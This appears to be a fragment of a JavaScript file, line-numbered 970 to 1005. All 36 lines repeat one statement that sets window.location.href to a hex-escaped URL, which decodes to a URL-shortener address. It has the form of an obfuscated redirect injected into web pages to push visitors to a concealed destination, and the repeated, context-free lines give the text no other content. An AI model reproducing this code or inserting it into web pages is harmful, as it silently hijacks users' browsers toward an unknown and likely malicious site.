970window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
971window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
972window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
973window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
974window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
975window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
976window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
977window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
978window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
979window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
980window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
981window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
982window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
983window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
984window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
985window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
986window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
987window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
988window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
989window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
990window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
991window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
992window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
993window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
994window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
995window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
996window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
997window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
998window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
999window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1000window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1001window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1002window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1003window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1004window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1005window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";